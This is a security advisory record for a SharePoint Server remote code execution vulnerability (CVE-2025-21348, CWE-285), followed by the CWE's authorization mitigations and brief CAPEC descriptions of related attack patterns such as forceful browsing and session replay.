"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-14T18:16:00Z",
"severity": "HIGH"
},
"details": "Microsoft SharePoint Server Remote Code Execution Vulnerability",
"id": "GHSA-4hgf-cx4c-6c53",
"modified": "2025-01-14T18:32:05Z",
"published": "2025-01-14T18:32:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21348"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21348"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-104: Cross Zone Scripting
An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-39: Manipulating Opaque Client-based Data Tokens
In circumstances where an application holds important data client-side in tokens (cookies, URLs, data files, and so forth) that data can be manipulated. If client or server-side application components reinterpret that data as authentication tokens or data (such as store item pricing or wallet information) then even opaquely manipulating that data may bear fruit for an Attacker. In this pattern an attacker undermines the assumption that client side tokens have been adequately protected from tampering through use of encryption or obfuscation.
CAPEC-402: Bypassing ATA Password Security
An adversary exploits a weakness in ATA security on a drive to gain access to the information the drive contains without supplying the proper credentials. ATA Security is often employed to protect hard disk information from unauthorized access. The mechanism requires the user to type in a password before the BIOS is allowed access to drive contents. Some implementations of ATA security will accept the ATA command to update the password without the user having authenticated with the BIOS. This occurs because the security mechanism assumes the user has first authenticated via the BIOS prior to sending commands to the drive. Various methods exist for exploiting this flaw, the most common being installing the ATA protected drive into a system lacking ATA security features (a.k.a. hot swapping). Once the drive is installed into the new system the BIOS can be used to reset the drive password.
CAPEC-45: Buffer Overflow via Symbolic Links
This type of attack leverages the use of symbolic links to cause buffer overflows. An adversary can try to create or manipulate a symbolic link file such that its contents result in out of bounds data. When the target software processes the symbolic link file, it could potentially overflow internal buffers with insufficient bounds checking.
CAPEC-5: Blue Boxing
This type of attack against older telephone switches and trunks has been around for decades. A tone is sent by an adversary to impersonate a supervisor signal which has the effect of rerouting or usurping command of the line. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded Telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authorization for administrative functions. While the infrastructure is different than standard current applications like web applications, there are historical lessons to be learned to upgrade the access control for administrative functions.
{'xhtml:b': 'This attack pattern is included in CAPEC for historical purposes.'}
CAPEC-51: Poison Web Service Registry
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-647: Collect Data from Registries
An adversary exploits a weakness in authorization to gather system-specific data and sensitive information within a registry (e.g., Windows Registry, Mac plist). These contain information about the system configuration, software, operating system, and security. The adversary can leverage information gathered in order to carry out further attacks.
CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)
An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.
CAPEC-87: Forceful Browsing
An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.